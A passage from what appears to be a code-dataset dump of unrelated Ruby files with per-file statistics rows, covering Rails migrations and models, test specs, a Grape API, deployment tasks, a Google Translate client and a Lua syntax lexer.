@current_user ||= User.find(session[:user_id]) if session[:user_id]
end
end
| 22.952381 | 80 | 0.763485 |
ace5770deb9b0628aa4d91b2a8ea11cf020437cc | 370 | class CreateOydAnswers < ActiveRecord::Migration[5.1]
def change
create_table :oyd_answers do |t|
t.integer :plugin_id
t.string :name
t.string :identifier
t.string :category
t.string :info_url
t.text :repos
t.integer :answer_order
t.text :answer_view
t.text :answer_logic
t.timestamps
end
end
end
| 20.555556 | 53 | 0.640541 |
e8a10cc86007cb9e006514b99ca912017861c96c | 1,292 | module Muffon
module Profile
class Posts
class Post < Muffon::Profile::Posts
def call
data
end
private
def data
{
id: post.id,
profile: profile_data,
content: post.content,
images: images,
tracks: tracks,
created: created_formatted
}.compact
end
def post
@args[:post]
end
def profile_data
{
id: profile.id,
nickname: nickname,
image: profile.image_data
}
end
def profile
@profile ||= post.profile
end
def images
post
.images_data
.presence
end
def tracks
return if post_tracks.blank?
post_tracks.map do |t|
track_data_formatted(t)
end
end
def post_tracks
@post_tracks ||= post.tracks
end
def track_data_formatted(track)
Muffon::Profile::Posts::Post::Track.call(
track: track
)
end
def created_formatted
datetime_formatted(
post.created_at
)
end
end
end
end
end
| 18.197183 | 51 | 0.462848 |
392dd7a54286b2662fc5b1130789b3d8521798e7 | 978 | require File.expand_path("spec_helper", File.dirname(File.dirname(__FILE__)))
describe "path_matchers plugin" do
it ":extension matcher should match given file extension" do
app(:path_matchers) do |r|
r.on "css" do
r.on :extension=>"css" do |file|
file
end
end
end
body("/css/reset.css").should == 'reset'
status("/css/reset.bar").should == 404
end
it ":suffix matcher should match given suffix" do
app(:path_matchers) do |r|
r.on "css" do
r.on :suffix=>".css" do |file|
file
end
end
end
body("/css/reset.css").should == 'reset'
status("/css/reset.bar").should == 404
end
it ":prefix matcher should match given prefix" do
app(:path_matchers) do |r|
r.on "css" do
r.on :prefix=>"reset" do |file|
file
end
end
end
body("/css/reset.css").should == '.css'
status("/css/foo.bar").should == 404
end
end
| 22.744186 | 77 | 0.574642 |
ffb1cf8e8302ae8e5476dfc7599e55dfa028f254 | 4,934 | require "test_helper"
class GraphQL::SchemaComparator::Diff::InputFieldTest < Minitest::Test
def setup
@type = GraphQL::InputObjectType.define do
name "Input"
end
end
def test_diff_input_field_type_change
old_input_field = GraphQL::Argument.define do
name "foo"
type types.String
end
new_input_field = old_input_field.redefine { type types.Boolean }
differ = GraphQL::SchemaComparator::Diff::InputField.new(@type, @type, old_input_field, new_input_field)
changes = differ.diff
change = differ.diff.first
assert_equal 1, changes.size
assert change.breaking?
assert_equal "Input field `Input.foo` changed type from `String` to `Boolean`", change.message
end
def test_diff_input_field_type_change_from_scalar_to_list_of_the_same_type
old_input_field = GraphQL::Argument.define do
name "arg"
type types[types.String]
end
new_input_field = old_input_field.redefine { type types.String }
differ = GraphQL::SchemaComparator::Diff::InputField.new(@type, @type, old_input_field, new_input_field)
changes = differ.diff
change = differ.diff.first
assert_equal 1, changes.size
assert change.breaking?
assert_equal "Input field `Input.arg` changed type from `[String]` to `String`", change.message
end
def test_diff_input_field_type_change_from_non_null_to_null_same_type
old_input_field = GraphQL::Argument.define do
name "arg"
type !types.String
end
new_input_field = old_input_field.redefine { type types.String }
differ = GraphQL::SchemaComparator::Diff::InputField.new(@type, @type, old_input_field, new_input_field)
changes = differ.diff
change = differ.diff.first
assert_equal 1, changes.size
refute change.breaking?
assert_equal "Input field `Input.arg` changed type from `String!` to `String`", change.message
end
def test_diff_input_field_type_change_from_null_to_non_null_of_same_type
old_input_field = GraphQL::Argument.define do
name "arg"
type types.String
end
new_input_field = old_input_field.redefine { type !types.String }
differ = GraphQL::SchemaComparator::Diff::InputField.new(@type, @type, old_input_field, new_input_field)
changes = differ.diff
change = differ.diff.first
assert_equal 1, changes.size
assert change.breaking?
assert_equal "Input field `Input.arg` changed type from `String` to `String!`", change.message
end
def test_diff_input_field_type_nullability_change_on_lists_of_the_same_underlying_types
old_input_field = GraphQL::Argument.define do
name "arg"
type !types[types.String]
end
new_input_field = old_input_field.redefine { type types[types.String] }
differ = GraphQL::SchemaComparator::Diff::InputField.new(@type, @type, old_input_field, new_input_field)
changes = differ.diff
change = differ.diff.first
assert_equal 1, changes.size
refute change.breaking?
assert_equal "Input field `Input.arg` changed type from `[String]!` to `[String]`", change.message
end
def test_diff_input_field_type_change_within_lists_of_the_same_underyling_types
old_input_field = GraphQL::Argument.define do
name "arg"
type !types[!types.String]
end
new_input_field = old_input_field.redefine { type !types[types.String] }
differ = GraphQL::SchemaComparator::Diff::InputField.new(@type, @type, old_input_field, new_input_field)
changes = differ.diff
change = differ.diff.first
assert_equal 1, changes.size
refute change.breaking?
assert_equal "Input field `Input.arg` changed type from `[String!]!` to `[String]!`", change.message
end
def test_input_field_type_changes_on_and_within_lists_of_the_same_underlying_types
old_input_field = GraphQL::Argument.define do
name "arg"
type !types[!types.String]
end
new_input_field = old_input_field.redefine { type types[types.String] }
differ = GraphQL::SchemaComparator::Diff::InputField.new(@type, @type, old_input_field, new_input_field)
changes = differ.diff
change = differ.diff.first
assert_equal 1, changes.size
refute change.breaking?
assert_equal "Input field `Input.arg` changed type from `[String!]!` to `[String]`", change.message
end
def test_input_field_type_changes_on_and_within_lists_of_different_underlying_types
old_input_field = GraphQL::Argument.define do
name "arg"
type !types[!types.String]
end
new_input_field = old_input_field.redefine { type types[types.Boolean] }
differ = GraphQL::SchemaComparator::Diff::InputField.new(@type, @type, old_input_field, new_input_field)
changes = differ.diff
change = differ.diff.first
assert_equal 1, changes.size
assert change.breaking?
assert_equal "Input field `Input.arg` changed type from `[String!]!` to `[Boolean]`", change.message
end
end
| 32.038961 | 108 | 0.732874 |
1d99bf22bf837257a8438509e910637b7cd3cbc5 | 496 | # Be sure to restart your server when you modify this file.
# Your secret key for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
Dummy::Application.config.secret_token = '8b46560b87b1454d01d92000b98a5f6b05094eb23cedb50c1916d72bac1413f645568310c1e599071f0fdf46785fe7792834b1e2395e440dde6336d95bb163a0'
| 62 | 171 | 0.832661 |
626f782d6c40669e6b7d61170993c94761f94537 | 1,503 | module Charty
module TableAdapters
class NMatrixAdapter
def self.supported?(data)
defined?(NMatrix) && data.is_a?(NMatrix) && data.shape.length <= 2
end
def initialize(data, columns: nil)
case data.shape.length
when 1
data = data.reshape(data.size, 1)
when 2
# do nothing
else
raise ArgumentError, "Unsupported data format"
end
@data = data
@column_names = generate_column_names(data.shape[1], columns)
end
attr_reader :column_names
def [](row, column)
if row
@data[row, resolve_column_index(column)]
else
@data[:*, resolve_column_index(column)].reshape([@data.shape[0]])
end
end
private def resolve_column_index(column)
case column
when String
index = column_names.index(column)
return index if index
raise IndexError, "invalid column name: #{column}"
when Integer
column
else
message = "column must be String or Integer: #{column.inspect}"
raise ArgumentError, message
end
end
private def generate_column_names(n_columns, columns)
columns ||= []
if columns.length >= n_columns
columns[0, n_columns]
else
columns + columns.length.upto(n_columns - 1).map {|i| "X#{i}" }
end
end
end
register(:nmatrix, NMatrixAdapter)
end
end
| 25.913793 | 75 | 0.576181 |
bf812c9add72d444b3f8988f74e401a3b1ee8cd3 | 224 | require "sidekiq/testing"
# https://github.com/mperham/sidekiq/wiki/Testing#testing-worker-queueing-fake
Sidekiq::Testing.fake!
RSpec.configure do |config|
config.before(:each) do
Sidekiq::Worker.clear_all
end
end
| 20.363636 | 78 | 0.763393 |
d5c558a7d5ca361d23ad999b68122df2338aad42 | 69 | json.extract! @code, :id, :assembly_source, :created_at, :updated_at
| 34.5 | 68 | 0.753623 |
e9b4850ec7906fe473333a10dbae9a729d233f23 | 1,243 | Whendoigo3::Application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# In the development environment your application's code is reloaded on
# every request. This slows down response time but is perfect for development
# since you don't have to restart the web server when you make code changes.
config.cache_classes = false
# Do not eager load code on boot.
config.eager_load = false
# Show full error reports and disable caching.
config.consider_all_requests_local = true
config.action_controller.perform_caching = false
# Don't care if the mailer can't send.
config.action_mailer.raise_delivery_errors = false
# Print deprecation notices to the Rails logger.
config.active_support.deprecation = :log
# Raise an error on page load if there are pending migrations
config.active_record.migration_error = :page_load
# Debug mode disables concatenation and preprocessing of assets.
# This option may cause significant delays in view rendering with a large
# number of complex assets.
config.assets.debug = true
config.action_mailer.default_url_options = { :host => 'localhost:3000' }
config.tripit_callbackserver='localhost:3000'
end
| 36.558824 | 85 | 0.771521 |
ac649925751fff6867239cd62764b19e649ed744 | 1,104 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe 'Migrations Validation' do
using RSpec::Parameterized::TableSyntax
# The range describes the timestamps that given migration helper can be used
let(:all_migration_classes) do
{
2022_01_26_21_06_58.. => Gitlab::Database::Migration[2.0],
2021_09_01_15_33_24.. => Gitlab::Database::Migration[1.0],
2021_05_31_05_39_16..2021_09_01_15_33_24 => ActiveRecord::Migration[6.1],
..2021_05_31_05_39_16 => ActiveRecord::Migration[6.0]
}
end
where(:migration) do
Gitlab::Database.database_base_models.flat_map do |_, model|
model.connection.migration_context.migrations
end.uniq
end
with_them do
let(:migration_instance) { migration.send(:migration) }
let(:allowed_migration_classes) { all_migration_classes.select { |r, _| r.include?(migration.version) }.values }
it 'uses one of the allowed migration classes' do
expect(allowed_migration_classes).to include(be > migration_instance.class)
end
end
end
| 33.454545 | 116 | 0.694746 |
e2f2bccb2e948771aaf9aeadd593c5bfaa93a3c7 | 1,877 | # Copyright © 2011-2020 MUSC Foundation for Research Development~
# All rights reserved.~
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:~
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.~
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following~
# disclaimer in the documentation and/or other materials provided with the distribution.~
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products~
# derived from this software without specific prior written permission.~
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,~
# BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT~
# SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL~
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS~
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR~
# TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.~
module DelayedJobHelpers
def work_off
Delayed::Worker.new.work_off
end
end
RSpec.configure do |config|
config.include DelayedJobHelpers
config.before(:each, delay: true) do
Delayed::Worker.delay_jobs = true
end
config.after(:each, delay: true) do
Delayed::Worker.delay_jobs = false
end
end
| 46.925 | 146 | 0.784763 |
f7e11b6ae964f56ea341649596f423a7eab2d676 | 2,547 | require File.dirname(__FILE__) + '/../spec_helper'
describe "Intergration restart" do
before :each do
start_controller do
@controller.load_erb(fixture("dsl/integration.erb"))
end
@processes.size.should == 3
@processes.map{|c| c.state_name}.uniq.should == [:up]
@samples = @controller.all_groups.detect{|c| c.name == 'samples'}
end
after :each do
stop_controller
end
it "restart process group samples" do
@controller.command(:restart, "samples")
sleep 11 # while they restarting
@processes.map{|c| c.state_name}.uniq.should == [:up]
@p1.pid.should_not == @old_pid1
@p2.pid.should_not == @old_pid2
@p3.pid.should == @old_pid3
end
it "restart process" do
@controller.command(:restart, "sample1")
sleep 10 # while they restarting
@processes.map{|c| c.state_name}.uniq.should == [:up]
@p1.pid.should_not == @old_pid1
@p2.pid.should == @old_pid2
@p3.pid.should == @old_pid3
end
it "restart process with signal" do
should_spend(3, 0.3) do
c = Celluloid::Condition.new
@controller.command(:restart, "sample1", :signal => c)
c.wait
end
@processes.map{|c| c.state_name}.uniq.should == [:up]
@p1.pid.should_not == @old_pid1
end
it "restart process forking" do
@controller.command(:restart, "forking")
sleep 11 # while they restarting
@processes.map{|c| c.state_name}.uniq.should == [:up]
@p1.pid.should == @old_pid1
@p2.pid.should == @old_pid2
@p3.pid.should_not == @old_pid3
@p1.scheduler_last_reason.should == 'monitor by user'
@p3.scheduler_last_reason.should == 'restart by user'
end
it "restart forking named child" do
@p3.wait_for_condition(15, 0.3) { @p3.children.size == 3 }
@children = @p3.children.keys
@children.size.should == 3
dead_pid = @children.sample
@controller.command(:restart, "child-#{dead_pid}").should == {:result => ["int:forking:child-#{dead_pid}"]}
sleep 11 # while it
new_children = @p3.children.keys
new_children.size.should == 3
new_children.should_not include(dead_pid)
(@children - [dead_pid]).each do |pid|
new_children.should include(pid)
end
@p3.scheduler_history.states.should include("restart_child")
end
it "restart missing" do
@controller.command(:restart, "blabla").should == {:result => []}
sleep 1
@processes.map{|c| c.state_name}.uniq.should == [:up]
@p1.pid.should == @old_pid1
@p2.pid.should == @old_pid2
@p3.pid.should == @old_pid3
end
end
| 27.989011 | 111 | 0.651355 |
283f7642f67f5770a68f283b986e3483edc8c176 | 1,227 | Dir["#{Rails.root}/lib/api/*.rb"].each {|file| require file}
module API
class API < Grape::API
version 'v3', using: :path
rescue_from ActiveRecord::RecordNotFound do
rack_response({'message' => '404 Not found'}.to_json, 404)
end
rescue_from :all do |exception|
# lifted from https://github.com/rails/rails/blob/master/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb#L60
# why is this not wrapped in something reusable?
trace = exception.backtrace
message = "\n#{exception.class} (#{exception.message}):\n"
message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
message << " " << trace.join("\n ")
API.logger.add Logger::FATAL, message
rack_response({'message' => '500 Internal Server Error'}, 500)
end
format :json
helpers APIHelpers
mount Groups
mount Users
mount Projects
mount Repositories
mount Issues
mount Milestones
mount Session
mount MergeRequests
mount Notes
mount Internal
mount SystemHooks
mount ProjectSnippets
mount DeployKeys
mount ProjectHooks
mount Services
mount Files
mount Namespaces
end
end
| 26.673913 | 128 | 0.681337 |
01f8d990abea7b16ad8cd6e5e9bd65a98f9b204a | 3,113 | class PosInvoicePdf < Prawn::Document
def initialize(pos_invoice)
super({top_margin: 10, left_margin: 5, right_margin: 5, bottom_margin: 100})
text GlobalSettings.organisation_name, size: 30, style: :bold, align: :center
text GlobalSettings.organisation_address, size: 20, align: :center
text GlobalSettings.organisation_registration, size: 25, align: :center
stroke_horizontal_rule
@pos_invoice = pos_invoice
pos_invoice_number
line_items
total_amount
end
def pos_invoice_number
move_down 20
text "POS Invoice \##{@pos_invoice.number}", size: 25, style: :bold, align: :center
move_down 10
text "Dated: #{@pos_invoice.txn_date.strftime('%d/%m/%Y')}", size: 20
end
def line_items
move_down 10
table line_item_rows do
row(0).font_style = :bold
columns(0).align = :center
columns(0).width = 85
columns(1).align = :left
columns(1).width = 235
columns(2..3).align = :center
columns(2).width = 75
columns(3).width = 90
column(4).align = :right
columns(4).width = 115
row(0).align = :center
# self.row_colors = ["DDDDDD", "FFFFFF"]
self.width = 600
self.cell_style = { size: 20, padding_left: 20, padding_right: 20 }
self.header = true
end
end
def line_item_rows
result = [['SKU', "Product", "Qty", "Price", "Amount"]]
@pos_invoice.line_items.map do |item|
next if !item.persisted?
result += [[item.product.sku, item.voucher_print_name, -item.quantity, (sprintf '%.0f', item.selling_price), (sprintf '%.0f', item.amount)]]
end
result
end
def total_amount
move_down 25
indent(290) do
text "Total Amount: #{(sprintf '%.2f', @pos_invoice.credit_entries.sales_total_amount)}", size: 25, style: :bold
text "Total Quantity: #{@pos_invoice.total_quantity}", size: 25
end
move_down 15
text 'Payment Details:', size: 22, style: :bold
indent(20) do
@pos_invoice.payments_order_type_desc.each do |payment|
next if payment.new_record?
text (payment.type == 'AccountEntry::Debit' ? "Cash: #{(sprintf '%.2f', payment.amount)}" : "Cash Tendered: #{(sprintf '%.2f', payment.amount)}"), size: 20 if payment.mode == 'Account::CashAccount'
if payment.mode == 'Account::BankAccount' && payment.additional_info.present?
indent(20) do
text "Bank Name: #{payment.additional_info['bank_name']}", size: 18
text "Card last 4 digits: #{payment.additional_info['card_last_digits']}", size: 18
text "Expiry month/year: #{payment.additional_info['expiry_month']} / #{payment.additional_info['expiry_year']}", size: 18
text "Mobile Number: #{payment.additional_info['mobile_number']}", size: 18
text "Card Holder's Name: #{payment.additional_info['card_holder_name']}", size: 18
end
end
move_down 10
end
end
text "You were served by: #{@pos_invoice.created_by.name}", size: 20
move_down 5
text "Prices are inclusive of taxes", size: 20
move_down 50
end
end
| 38.432099 | 205 | 0.648571 |
6a6e5e630c6d08dfae5ad941b251a7dad2b65a2e | 1,156 | # frozen_string_literal: true
class CreateGithubWebhookWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
include GrapePathHelpers::NamedRouteMatcher
feature_category :integrations
worker_resource_boundary :cpu
worker_has_external_dependencies!
weight 2
attr_reader :project
def perform(project_id)
@project = Project.find(project_id)
create_webhook
end
def create_webhook
client.create_hook(
project.import_source,
'web',
{
url: webhook_url,
content_type: 'json',
secret: webhook_token,
insecure_ssl: 1
},
{
events: %w[push pull_request],
active: true
}
)
end
private
def client
@client ||= Gitlab::LegacyGithubImport::Client.new(access_token)
end
def access_token
@access_token ||= project.import_data.credentials[:user]
end
def webhook_url
"#{Settings.gitlab.url}#{api_v4_projects_mirror_pull_path(id: project.id)}"
end
def webhook_token
project.ensure_external_webhook_token
project.save if project.changed?
project.external_webhook_token
end
end
| 19.931034 | 79 | 0.705882 |
abeaa2a2c11606504f2461980185ac90a80a0898 | 192 | class Perk < ActiveRecord::Base
has_many :survivor_perks
has_many :survivors, through: :survivor_perks
has_many :killer_perks
has_many :killers, through: :killer_perks
end | 27.428571 | 49 | 0.739583 |
3877b6ff063b65bc55fccac8b377f451421e23e9 | 286 | class StockValueDecorator < Draper::Decorator
include ActionView::Helpers::NumberHelper
delegate_all
def value_date
return l(object.value_date, format: '%Y-%m-%d') if object.value_date
''
end
def value
number_with_precision(object.value, precision: 2)
end
end
| 20.428571 | 72 | 0.730769 |
6a2523b5590592fc3df50260a581c46dda6db78b | 1,599 | set :port, 22
task :environment do
end
task :run_commands do
commands.run(:remote)
end
task :reset! do
reset!
end
task :debug_configuration_variables do
if fetch(:debug_configuration_variables)
puts
puts '------- Printing current config variables -------'
configuration.variables.each do |key, value|
puts "#{key.inspect} => #{value.inspect}"
end
end
end
desc 'Adds current repo host to the known hosts'
task :ssh_keyscan_repo do
ensure!(:repository)
repo_host = fetch(:repository).split(%r{@|://}).last.split(%r{:|\/}).first
repo_port = /:([0-9]+)/.match(fetch(:repository)) && /:([0-9]+)/.match(fetch(:repository))[1] || '22'
command %{
if ! ssh-keygen -H -F #{repo_host} &>/dev/null; then
ssh-keyscan -t rsa -p #{repo_port} -H #{repo_host} >> ~/.ssh/known_hosts
fi
}
end
desc 'Adds domain known hosts'
task :ssh_keyscan_domain do
ensure!(:domain)
ensure!(:port)
run :local do
command %{
if ! ssh-keygen -H -F #{fetch(:domain)} &>/dev/null; then
ssh-keyscan -t rsa -p #{fetch(:port)} -H #{fetch(:domain)} >> ~/.ssh/known_hosts
fi
}
end
end
desc 'Runs a command in the server.'
task :run, [:command] do |_, args|
ensure!(:deploy_to)
command = args[:command]
unless command
puts "You need to provide a command. Try: mina 'run[ls -la]'"
exit 1
end
in_path fetch(:deploy_to) do
command command
end
end
desc 'Open an ssh session to the server and cd to deploy_to folder'
task :ssh do
exec %{#{Mina::Backend::Remote.new(nil).ssh} 'cd #{fetch(:deploy_to)} && exec $SHELL'}
end
| 23.173913 | 103 | 0.639775 |
33873370242d6bc00155bf00b709c8580f1d9ec3 | 373 | # typed: strict
module Resolvers
module SeriesResolvers
class SeriesResolver < Resolvers::BaseResolver
type Types::SeriesType, null: true
description "Find a series by ID."
argument :id, ID, required: true
sig { params(id: T.any(String, Integer)).returns(Series) }
def resolve(id:)
Series.find(id)
end
end
end
end
| 20.722222 | 64 | 0.646113 |
ab97d54307f4118821fbeb7d5c69a82e35eee4eb | 7,581 | # Copyright 2016 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require "google-cloud-translate"
require "google/cloud/translate/api"
require "google/cloud/config"
require "google/cloud/env"
module Google
module Cloud
##
# # Google Cloud Translation API
#
# [Google Cloud Translation API](https://cloud.google.com/translation/)
# provides a simple, programmatic interface for translating an arbitrary
# string into any supported language. It is highly responsive, so websites
# and applications can integrate with Translation API for fast, dynamic
# translation of source text. Language detection is also available in cases
# where the source language is unknown.
#
# Translation API supports more than one hundred different languages, from
# Afrikaans to Zulu. Used in combination, this enables translation between
# thousands of language pairs. Also, you can send in HTML and receive HTML
# with translated text back. You don't need to extract your source text or
# reassemble the translated content.
#
# See {file:OVERVIEW.md Translation Overview}.
#
module Translate
##
# Creates a new object for connecting to Cloud Translation API. Each call
# creates a new connection.
#
# Like other Cloud Platform services, Google Cloud Translation API
# supports authentication using a project ID and OAuth 2.0 credentials. In
# addition, it supports authentication using a public API access key. (If
# both the API key and the project and OAuth 2.0 credentials are provided,
# the API key will be used.) Instructions and configuration options are
# covered in the {file:AUTHENTICATION.md Authentication Guide}.
#
# @param [String] project_id Project identifier for the Cloud Translation
# service you are connecting to. If not present, the default project for
# the credentials is used.
# @param [String, Hash, Google::Auth::Credentials] credentials The path to
# the keyfile as a String, the contents of the keyfile as a Hash, or a
# Google::Auth::Credentials object. (See {Translate::Credentials})
# @param [String] key a public API access key (not an OAuth 2.0 token)
# @param [String, Array<String>] scope The OAuth 2.0 scopes controlling
# the set of resources and operations that the connection can access.
# See [Using OAuth 2.0 to Access Google
# APIs](https://developers.google.com/identity/protocols/OAuth2).
#
# The default scope is:
#
# * `https://www.googleapis.com/auth/cloud-platform`
# @param [Integer] retries Number of times to retry requests on server
# error. The default value is `3`. Optional.
# @param [Integer] timeout Default timeout to use in requests. Optional.
# @param [String] project Alias for the `project_id` argument. Deprecated.
# @param [String] keyfile Alias for the `credentials` argument.
# Deprecated.
#
# @return [Google::Cloud::Translate::Api]
#
# @example
# require "google/cloud/translate"
#
# translate = Google::Cloud::Translate.new(
# project_id: "my-todo-project",
# credentials: "/path/to/keyfile.json"
# )
#
# translation = translate.translate "Hello world!", to: "la"
# translation.text #=> "Salve mundi!"
#
# @example Using API Key.
# require "google/cloud/translate"
#
# translate = Google::Cloud::Translate.new(
# key: "api-key-abc123XYZ789"
# )
#
# translation = translate.translate "Hello world!", to: "la"
# translation.text #=> "Salve mundi!"
#
# @example Using API Key from the environment variable.
# require "google/cloud/translate"
#
# ENV["TRANSLATE_KEY"] = "api-key-abc123XYZ789"
#
# translate = Google::Cloud::Translate.new
#
# translation = translate.translate "Hello world!", to: "la"
# translation.text #=> "Salve mundi!"
#
def self.new project_id: nil, credentials: nil, key: nil, scope: nil,
retries: nil, timeout: nil, project: nil, keyfile: nil
project_id ||= (project || default_project_id)
key ||= configure.key
if key
return Google::Cloud::Translate::Api.new(
Google::Cloud::Translate::Service.new(
project_id.to_s, nil, retries: retries, timeout: timeout, key: key
)
)
end
scope ||= configure.scope
retries ||= configure.retries
timeout ||= configure.timeout
credentials ||= keyfile || default_credentials(scope: scope)
unless credentials.is_a? Google::Auth::Credentials
credentials = Translate::Credentials.new credentials, scope: scope
end
project_id ||= credentials.project_id if credentials.respond_to? :project_id
project_id = project_id.to_s # Always cast to a string
raise ArgumentError, "project_id is missing" if project_id.empty?
Translate::Api.new(
Translate::Service.new(
project_id, credentials, retries: retries, timeout: timeout
)
)
end
##
# Configure the Google Cloud Translate library.
#
# The following Translate configuration parameters are supported:
#
# * `project_id` - (String) Identifier for a Translate project. (The
# parameter `project` is considered deprecated, but may also be used.)
# * `credentials` - (String, Hash, Google::Auth::Credentials) The path to
# the keyfile as a String, the contents of the keyfile as a Hash, or a
# Google::Auth::Credentials object. (See {Translate::Credentials}) (The
# parameter `keyfile` is considered deprecated, but may also be used.)
# * `scope` - (String, Array<String>) The OAuth 2.0 scopes controlling
# the set of resources and operations that the connection can access.
# * `retries` - (Integer) Number of times to retry requests on server
# error.
# * `timeout` - (Integer) Default timeout to use in requests.
#
# @return [Google::Cloud::Config] The configuration object the
# Google::Cloud::Translate library uses.
#
def self.configure
yield Google::Cloud.configure.translate if block_given?
Google::Cloud.configure.translate
end
##
# @private Default project.
def self.default_project_id
Google::Cloud.configure.translate.project_id ||
Google::Cloud.configure.project_id ||
Google::Cloud.env.project_id
end
##
# @private Default credentials.
def self.default_credentials scope: nil
Google::Cloud.configure.translate.credentials ||
Google::Cloud.configure.credentials ||
Translate::Credentials.default(scope: scope)
end
end
end
end
| 40.978378 | 84 | 0.648331 |
3912ace13c1f0723f0857bf13342e09632f050de | 1,484 | ##########################################################################
# Copyright 2017 ThoughtWorks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
##########################################################################
module ApiV5
module Shared
module Stages
module Tasks
class PluggableTaskRepresenter < BaseTaskRepresenter
alias_method :pluggable_task, :represented
property :plugin_configuration, decorator: Shared::Stages::PluginConfigurationRepresenter, class: com.thoughtworks.go.domain.config.PluginConfiguration
collection :configuration, exec_context: :decorator, decorator: PluginConfigurationPropertyRepresenter, class: com.thoughtworks.go.domain.config.ConfigurationProperty
def configuration
pluggable_task.getConfiguration()
end
def configuration=(value)
pluggable_task.addConfigurations(value)
end
end
end
end
end
end | 39.052632 | 176 | 0.658356 |
e2076c26fe18a7536124b66bb2ab6e2a1ed416ad | 941 | require "flipper/adapters/sync/interval_synchronizer"
RSpec.describe Flipper::Adapters::Sync::IntervalSynchronizer do
let(:events) { [] }
let(:synchronizer) { -> { events << now } }
let(:interval) { 10 }
let(:now) { subject.send(:now) }
subject { described_class.new(synchronizer, interval: interval) }
it 'synchronizes on first call' do
expect(events.size).to be(0)
subject.call
expect(events.size).to be(1)
end
it "only invokes wrapped synchronizer every interval seconds" do
subject.call
events.clear
# move time to one millisecond less than last sync + interval
1.upto(interval) do |i|
allow(subject).to receive(:now).and_return(now + i - 1)
subject.call
end
expect(events.size).to be(0)
# move time to last sync + interval in milliseconds
allow(subject).to receive(:now).and_return(now + interval)
subject.call
expect(events.size).to be(1)
end
end
| 27.676471 | 67 | 0.680128 |
ab3bbb83291eeed05d38e75f8e4136d91c73677c | 257 | module Sawyer
VERSION = "0.8.2"
class Error < StandardError; end
end
require 'set'
%w(
resource
relation
response
serializer
agent
link_parsers/hal
link_parsers/simple
).each { |f| require File.expand_path("../sawyer/#{f}", __FILE__) }
| 14.277778 | 67 | 0.684825 |
e2ad5a5c948b8e96b9bd94e0e03485a8fbf7019d | 38 | h = {}; 5000000.times {|n| h[n] = n }
| 19 | 37 | 0.447368 |
38d89554185b0db9e2273eec32457dfb581a3ff2 | 4,378 | # -*- coding: utf-8 -*- #
# frozen_string_literal: true
module Rouge
module Lexers
class Lua < RegexLexer
title "Lua"
desc "Lua (http://www.lua.org)"
tag 'lua'
filenames '*.lua', '*.wlua'
mimetypes 'text/x-lua', 'application/x-lua'
option :function_highlighting, 'Whether to highlight builtin functions (default: true)'
option :disabled_modules, 'builtin modules to disable'
def initialize(opts={})
@function_highlighting = opts.delete(:function_highlighting) { true }
@disabled_modules = opts.delete(:disabled_modules) { [] }
super(opts)
end
def self.detect?(text)
return true if text.shebang? 'lua'
end
def self.builtins
Kernel::load File.join(Lexers::BASE_DIR, 'lua/builtins.rb')
self.builtins
end
def builtins
return [] unless @function_highlighting
@builtins ||= Set.new.tap do |builtins|
self.class.builtins.each do |mod, fns|
next if @disabled_modules.include? mod
builtins.merge(fns)
end
end
end
state :root do
# lua allows a file to start with a shebang
rule %r(#!(.*?)$), Comment::Preproc
rule %r//, Text, :base
end
state :base do
rule %r(--\[(=*)\[.*?\]\1\])m, Comment::Multiline
rule %r(--.*$), Comment::Single
rule %r((?i)(\d*\.\d+|\d+\.\d*)(e[+-]?\d+)?'), Num::Float
rule %r((?i)\d+e[+-]?\d+), Num::Float
rule %r((?i)0x[0-9a-f]*), Num::Hex
rule %r(\d+), Num::Integer
rule %r(\n), Text
rule %r([^\S\n]), Text
# multiline strings
rule %r(\[(=*)\[.*?\]\1\])m, Str
rule %r((==|~=|<=|>=|\.\.\.|\.\.|[=+\-*/%^<>#])), Operator
rule %r([\[\]\{\}\(\)\.,:;]), Punctuation
rule %r((and|or|not)\b), Operator::Word
rule %r((break|do|else|elseif|end|for|if|in|repeat|return|then|until|while)\b), Keyword
rule %r((local)\b), Keyword::Declaration
rule %r((true|false|nil)\b), Keyword::Constant
rule %r((function)\b), Keyword, :function_name
